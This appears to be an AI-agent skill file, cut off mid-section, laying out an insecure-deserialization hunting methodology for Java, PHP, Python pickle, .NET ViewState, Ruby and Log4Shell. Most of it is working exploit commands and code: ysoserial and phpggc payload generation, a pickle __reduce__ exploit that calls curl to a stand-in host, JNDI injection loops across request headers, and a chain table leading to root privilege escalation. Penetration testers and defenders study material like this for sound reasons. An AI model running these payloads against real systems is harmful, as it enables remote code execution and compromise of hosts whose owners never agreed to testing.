$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-deserializationHunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickl
| 1 | # HUNT-DESERIALIZATION — Insecure Deserialization |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions. |
| 6 | |
| 7 | **Highest-value chains:** |
| 8 | - **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution |
| 9 | - **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE |
| 10 | - **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')` |
| 11 | - **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE |
| 12 | - **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE |
| 13 | - **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE |
| 14 | |
| 15 | --- |
| 16 | |
| 17 | ## Attack Surface Signals |
| 18 | |
| 19 | ### Detection Patterns |
| 20 | ```bash |
| 21 | # Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64) |
| 22 | echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 |
| 23 | |
| 24 | # PHP serialization: O:8:"stdClass":0:{} |
| 25 | # Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02 |
| 26 | |
| 27 | # Apache Shiro: rememberMe cookie present |
| 28 | curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe" |
| 29 | |
| 30 | # Log4j: test user-controlled fields for JNDI interpolation |
| 31 | curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/ |
| 32 | ``` |
| 33 | |
| 34 | ### Header / Cookie Signals |
| 35 | ``` |
| 36 | Content-Type: application/x-java-serialized-object |
| 37 | Cookie containing rO0= prefix (Java base64 serialized) |
| 38 | Cookie: rememberMe= (Apache Shiro) |
| 39 | Cookie: _VIEWSTATE (ASP.NET ViewState without encryption) |
| 40 | Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/ |
| 41 | ``` |
| 42 | |
| 43 | --- |
| 44 | |
| 45 | ## Step-by-Step Hunting Methodology |
| 46 | |
| 47 | ### Phase 1 — Java Deserialization (ysoserial) |
| 48 | ```bash |
| 49 | # Install ysoserial |
| 50 | wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar |
| 51 | |
| 52 | # Generate OOB detection payload |
| 53 | java -jar ysoserial-all.jar CommonsCollections6 \ |
| 54 | 'curl http://COLLAB_HOST/ysoserial' | base64 -w0 |
| 55 | |
| 56 | # Send as body or cookie |
| 57 | java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \ |
| 58 | curl -s https://$TARGET/wls-wsat/CoordinatorPortType \ |
| 59 | -H "Content-Type: application/x-java-serialized-object" \ |
| 60 | --data-binary @- |
| 61 | |
| 62 | # Apache Shiro exploit (default AES key) |
| 63 | python3 shiro_exploit.py -u https://$TARGET/ -c "id" |
| 64 | ``` |
| 65 | |
| 66 | ### Phase 2 — PHP Object Injection |
| 67 | ```bash |
| 68 | # Find unserialize() calls in source |
| 69 | grep -r "unserialize(" --include="*.php" . |
| 70 | |
| 71 | # Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";} |
| 72 | # Send in cookie, POST param, or hidden form field |
| 73 | # If error changes → deserialization confirmed |
| 74 | |
| 75 | # Craft gadget chain using phpggc |
| 76 | git clone https://github.com/ambionics/phpggc |
| 77 | php phpggc -l # list chains |
| 78 | php phpggc Laravel/RCE5 system id | base64 |
| 79 | ``` |
| 80 | |
| 81 | ### Phase 3 — Python Pickle |
| 82 | ```bash |
| 83 | # Generate OOB payload |
| 84 | python3 -c " |
| 85 | import pickle, os, base64 |
| 86 | class Exploit(object): |
| 87 | def __reduce__(self): |
| 88 | return (os.system, ('curl http://COLLAB_HOST/pickle-rce',)) |
| 89 | print(base64.b64encode(pickle.dumps(Exploit())).decode()) |
| 90 | " |
| 91 | |
| 92 | # Send as cookie or POST body |
| 93 | curl -s https://$TARGET/api/load-model \ |
| 94 | -H "Content-Type: application/octet-stream" \ |
| 95 | --data-binary @payload.pkl |
| 96 | ``` |
| 97 | |
| 98 | ### Phase 4 — .NET ViewState |
| 99 | ```bash |
| 100 | # Check if ViewState is unsigned (MAC disabled) |
| 101 | # Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC |
| 102 | |
| 103 | # YSoSerial.Net |
| 104 | dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \ |
| 105 | -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64 |
| 106 | ``` |
| 107 | |
| 108 | ### Phase 5 — Log4Shell / JNDI |
| 109 | ```bash |
| 110 | # Test all user-controlled inputs |
| 111 | COLLAB="COLLAB_HOST" |
| 112 | for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do |
| 113 | curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" & |
| 114 | done |
| 115 | |
| 116 | # Test POST body fields |
| 117 | curl -s -X POST https://$TARGET/api/login \ |
| 118 | -H "Content-Type: application/json" \ |
| 119 | -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}" |
| 120 | ``` |
| 121 | |
| 122 | ### Phase 6 — Ruby Marshal |
| 123 | ```bash |
| 124 | # Look for Marshal.load in source |
| 125 | grep -r "Marshal.load\|Marshal.restore" --include="*.rb" . |
| 126 | |
| 127 | # Gem::Requirement gadget chain via marshalable objects |
| 128 | # Use ruby-advisory-db gadgets |
| 129 | ``` |
| 130 | |
| 131 | --- |
| 132 | |
| 133 | ## Chain Table |
| 134 | |
| 135 | | Deserialization signal | Chain to | Impact | |
| 136 | |-----------------------|----------|--------| |
| 137 | | Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution | |
| 138 | | RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root | |
| 139 | | Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC | |
| 140 | | Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process | |
| 141 | |
| 142 | --- |
| 143 | |
| 144 | ## Automation |
| 145 | ```bash |
| 146 | # OOB listener |
| 147 | interactsh-client -v -n 5 |
| 148 | |
| 149 | # JNDI exploit kit |